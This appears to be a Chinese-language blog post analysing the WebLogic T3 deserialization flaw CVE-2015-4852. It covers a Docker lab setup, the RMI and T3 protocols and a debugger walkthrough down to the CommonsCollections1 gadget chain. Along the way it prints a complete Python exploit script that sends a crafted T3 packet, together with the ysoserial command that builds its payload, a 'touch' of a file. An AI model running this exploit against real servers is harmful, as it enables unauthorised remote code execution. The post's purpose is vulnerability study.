weblogic之cve-2015-4852分析(重寫)

0X7e發表於2021-03-13

前言

有時間打算分析weblogic歷史漏洞,但是又要面試啥的,沒空。又剛好最近面試會問weblogic反序列化。具體啥時候分析weblogic反序列化,可能會在護網後,或者我開學了再分析。期間可能我會分析一下fastjson的吧。環境我都打包到附件中

0x01、環境搭建

不想動手去下載的,可以去網盤這邊,我已經打包好了
連結:https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w
提取碼:1234
複製這段內容後開啟百度網盤手機App,操作更方便哦

漏洞環境:https://github.com/QAX-A-Team/WeblogicEnvironment

jdk:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic:

連結:https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ
提取碼:ungx

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然後在這裡需要去將一些weblogic的依賴Jar包給匯出來進行遠端除錯

docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;

這邊就匯出成功了

0x02、Weblogic遠端除錯

第一步

修改docker-compose.yml檔案,開啟8453埠

第二步

cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
vi setDomainEnv.sh 

新增兩行程式碼

debugFlag="true"

export debugFlag 

這個環境是預設就有了,所以這邊只是講一下

最後差不多就這樣了,還有其他地方就參考網上文章,我就不一一講解了

docker exec -it weblogic1036jdk7u21 /bin/bash //進入docker

地址為:http://192.168.92.130:7001/console/login/LoginForm.jsp

0x03、RMI通訊

在瞭解RMI前還需要弄懂一些概念。

RMI(RemoteMethodInvocation,遠端方法呼叫)是用Java在JDK1.2中實現的,它大大增強了Java開發分散式應用的能力。

Java本身對RMI規範的實現預設使用的是JRMP協議,也可以選擇IIOP協議。而在Weblogic中對RMI規範的實現使用T3協議。

JRMP:JavaRemoteMessageProtocol,Java遠端訊息交換協議。這是執行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。

RMI(Remote Method Invocation)即Java遠端方法呼叫,RMI用於構建分散式應用程式,RMI實現了Java程式之間跨JVM的遠端通訊。顧名思義,遠端方法呼叫:客戶端比如說是在手機,然後服務端是在電腦;同時都有java環境,然後我要在手機端呼叫服務端那邊的某個方法,這就是,遠端方法呼叫;

​ 使用RMI的時候,客戶端對遠端方法的呼叫就跟對同一個Java虛擬機器(也就是本地)上的方法呼叫是一樣的。一般呼叫和RMI呼叫有一點不同,雖然對客戶端來說看起來像是本地的,但是客戶端的stub會通過網路發出呼叫,所以會丟擲異常;其中還是會涉及到Socket和串流的問題,一開始是本地呼叫,然後就代理(stub)會轉成遠端,中間的資訊是如何從Java虛擬機器傳送到另外一臺Java虛擬機器要看客戶端和服務端的輔助設施物件所用的協議而定;使用RMI的時候,需要選擇協議:JRMP或IIOP協議;JRMP是RMI的原生的協議,也就是預設JRMP協議。而IIOP是為了CORBA而產生的~~~

遠端方法呼叫,具體怎麼實現呢?

遠端伺服器提供具體的類和方法,本地會通過某種方式獲得遠端類的一個代理,然後通過這個代理呼叫遠端物件的方法,方法的引數是通過序列化與反序列化的方式傳遞的,所以,

1. 只要服務端的物件提供了一個方法,這個方法接收的是一個Object型別的引數
2. 且遠端伺服器的classpath中存在可利用pop鏈,那麼我們就可以通過在客戶端呼叫這個方法,並傳遞一個精心構造的物件的方式來攻擊rmi服務。

某種方式獲得遠端物件的代理,那麼具體是怎麼的實現機制呢?RMI模式中除了有Client與Server,還藉助了一個Registry(註冊中心)。

其中Server與Registry可以在同一伺服器上實現,也可以佈置在不同伺服器上,現在一個完整的RMI流程可以大概描述為:

  1. Registry先啟動,並監聽一個埠,一般為1099
  2. Server向Registry註冊遠端物件
  3. Client從Registry獲得遠端物件的代理(這個代理知道遠端物件的在網路中的具體位置:ip、埠、識別符號),然後Client通過這個代理呼叫遠端方法,Server也是有一個代理的,Server端的代理會收到Client端的呼叫的方法、引數等,然後代理執行對應方法,並將結果通過網路返回給Client。

直接看圖,話不多說

RMI呼叫遠端方法的大致如下:

  1. RMI客戶端在呼叫遠端方法時會先建立Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub會將Remote物件傳遞給遠端引用層(java.rmi.server.RemoteRef)並建立java.rmi.server.RemoteCall(遠端呼叫)物件。
  3. RemoteCall序列化RMI服務名稱Remote物件。
  4. RMI客戶端遠端引用層傳輸RemoteCall序列化後的請求資訊通過Socket連線的方式傳輸到RMI服務端遠端引用層
  5. RMI服務端遠端引用層(sun.rmi.server.UnicastServerRef)收到請求會請求傳遞給Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton呼叫RemoteCall反序列化RMI客戶端傳過來的序列化。
  7. Skeleton處理客戶端請求:bindlistlookuprebindunbind,如果是lookup則查詢RMI服務名繫結的介面物件,序列化該物件並通過RemoteCall傳輸到客戶端。
  8. RMI客戶端反序列化服務端結果,獲取遠端物件的引用。

而更通俗點來說:

1. 客戶端請求代理
2. Stub編碼處理訊息
3. 訊息傳輸
4. 到達管家skeleton並處理資訊
5. 管家skeleton把資訊提交給server
6. server接收到請求
7. server把請求的結果給管家
8. 管家skeleton把結果轉交給stub
9. 代理Stub對結果解碼
10. Stub把解碼的結果交給client。

具體可以參考該文章RMI由淺入深(一),那麼我們知道了什麼是RMI通訊。RMI就是對伺服器上的方法進行呼叫。那麼weblogic上的RMI呢,在此處的cve-2015-4852是基於RMI T3協議反序列化導致的漏洞。兩者有什麼區別嗎?

兩者其實是一樣的。只是weblogic這邊的rmi通訊用T3協議,只是優化了java rmi。T3傳輸協議是WebLogic的自有協議,Weblogic RMI就是通過T3協議傳輸的(可以理解為序列化的資料載體是T3)。

Java RMI預設使用的專有傳輸協議(或者也可以叫做預設協議)是JRMP,Weblogic RMI預設使用的傳輸協議是T3。T3協議對序列化的過程,包括一些特性,心臟跳動等等,進行了一些列優化,並且對rmi客戶端量進行了增加等等

0x04、從歷史長河探究cve-2015-4852

摘取一張圖,具體從哪裡拿的,我也給忘記了,翻閱了太多文章了。可以看出這個cve-2015-4852是這些的祖宗。那我們從這個祖宗開始分析。從漏洞型別這邊看,我們知道這個是T3反序列化漏洞,也就是說,是因為T3協議,從而導致的反序列化漏洞;那我們無可避免的去看看T3協議是什麼東西

1、T3協議概述

WebLogic Server 中的 RMI 通訊使用 T3 協議在 WebLogic Server 和其他 Java 程式(包括客戶端及其他 WebLogic Server 例項)間傳輸資料。同時T3協議包括

  1. 請求包頭
  2. 請求主體

因此,在T3資料包構造過程中,需要傳送兩部分的資料。

我們通過部署好的環境,以及現成的payload,去看看這個協議包情況

2、T3協議

t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

可以看出這是它的請求頭。,本文測試時傳送的T3協議頭為

t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
第一行為“t3”加weblogic客戶端的版本號。

weblogic伺服器的返回資料為

HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n
第一行為“HELO:”加weblogic伺服器的版本號

weblogic客戶端與伺服器傳送的資料均以“\n\n”結尾。

可能會問這個地方和其他地方的T3協議怎麼不一樣?因為我用的exp中,它是偽造自定義了請求包的。可參考文章

也就是說,如何判斷對方是否使用T3協議等等,可以對伺服器進行發包,傳送請求頭,對方則會返回weblogic伺服器版本

3、T3攻擊方式

  • 第一種:將weblogic傳送的java序列化資料的地2到第7部分的反序列化資料進行替換

  • 第二種:將weblogic傳送的JAVA序列化資料的第一部分與惡意的序列化資料進行拼接。也就是替換第一部分的資料

以上來自網上文獻:http://drops.xmd5.com/static/drops/web-13470.html

那麼我們就來驗證一下,由於我此處是現成exp,所以進行替換序列化資料進行攻擊的時候,可能數量不一樣

也就是說,我們的傳送的T3協議,可以簡單的理解為兩部分:非序列化資料,和序列化資料。而序列化部分又以ac ed繼續進行劃分

0x05、cve-2015-4852 分析

現在我們理論概念瞭解的差不多了,我們這邊就驗證一下序列化內容是否跟我們猜想的一致

python exp程式碼:

#!/usr/bin/python 
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
server_address = (sys.argv[1], int(sys.argv[2])) 
print 'connecting to %s port %s' % server_address 
sock.connect(server_address) 

# Send headers 
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' 
print 'sending "%s"' % headers 
sock.sendall(headers) 

data = sock.recv(1024) 
print >>sys.stderr, 'received "%s"' % data 
payloadObj = open(sys.argv[3],'rb').read() 

payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' 
payload=payload+payloadObj 
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' 
print 'sending payload...' 
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) 

#print len(payload) 

outf = open('pay.tmp','w') 
outf.write(payload) 
outf.close() 
sock.send(payload)

yso生成惡意程式碼:

java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp

python

python2 exp.py 192.168.92.130 7001 payload.tmp

根據補丁位置,是在這幾個地方進行新增判斷,那我們直接在InboundMsgAbbrev#readObject()下斷點。因為要rce的話必須要readObject()進行反序列化

wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils

我們在InboundMsgAbbrev類中,Ctrl+f查詢readObject,然後在此處下斷點。

然後使用exp去傳送惡意請求,然後我們去看看斷點位置

可以看出這邊var1裡面儲存的是我們請求的內容,然後呼叫read()方法,賦值給var2.

我們進入read()看看是什麼東西

這邊為-1,所以會呼叫父類的read()方法,那麼我們看看這個類繼承了什麼父類

所以我們知道它會跳到ChunkedDataInputStream#read()方法中。我們F7跟進去檢視

這邊我們可以思考是不是這些序列化資料的大小呢?

img

img

因為是false,所以直接跳過這個條件,進入了return;

然後返回給了var2中

此處通過switch對var2值進行判斷,此處為0,所以進入了第一個條件語句

return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();

那麼我們先進入InboundMsgAbbrev#ServerChannelInputStream()中檢視虛實

進入後,繼續深入getServerChannel()

this.connection之中儲存著一些連線的資料,如地址,埠等等,然後呼叫getChannel(),這邊是處理T3協議的socket地方;我們F7跟進檢視

我們進入之後可以看到還有靜態程式碼塊,而這靜態程式碼塊則是伺服器返回過來的版本,我們繼續看看

隨後會return 回這串地址,埠資訊。我們再f8返回

我們跳了三層,返回到之前的路口點,那麼接下來我們就是進入InboundMsgAbbrev#readObject()

此處我們跳到了read()當中,因為前面的不重要,我們也不需要深究了

這邊再次進入到父類中的read()方法中,我們依舊進入到了ChunkedInputStream# read(),該方法主要是讀取head資料也就是我們傳送的包

隨後繼續返回到了上一步

幾次的F7和F8後,進入了read(byte[] var1, int var2, int var3)

因為條件不成立,所以繼續進入return當中,我們F7跟進

往後執行,可以發現這幾個方法是對資料流進行分塊處理,將序列化部分分塊,依次解析每塊的類,然後去執行

我們直接在InboundMsgAbbrev#resolveClass()方法下個斷點,而此處,也就是打補丁的地方,此處打上補丁,從而出現了cve-2016-0638;這是後話。而我們看到了AnnotationInvocationHandler。這不就是CC1中的反序列化入口點嗎,我們進入看看

可以看到一個很有意思的地方,那就是Class.forname(),通過反射獲取載入指定的類。

而這之後執行,我們可以發現這些獲取的都是CC1利用鏈中所需要的類。這就很有意思了~~

F9不斷的執行結束後可以發現,這邊建立了該檔案。那麼我們重新發包一下,直到遇到java.lang.Override不按F9了。我們直接F7一步步慢慢的看

我們可以看到這不就是CC1鏈中的觸發方法嗎??這裡就很佩服大佬們了

0x05 漏洞原理與總結

從入口點開始weblogic.rjvm.InboundMsgAbbrev#readObject方法開始。通過read()方法,讀取T3資料流的序列化部分依次分塊解析類。InboundMsgAbbrev#resolveClass()內部使用Class.forName來從類序列化獲取到對應類的一個Class的物件。進行相對應的點例項化並讀取了AnnotationInvocationHandler觸發了此處CC1的利用鏈。最後在AbstractMapDecorator#entrySet()方法觸發,達到了rce目的。此漏洞之後有必要再看看,咳咳

相關文章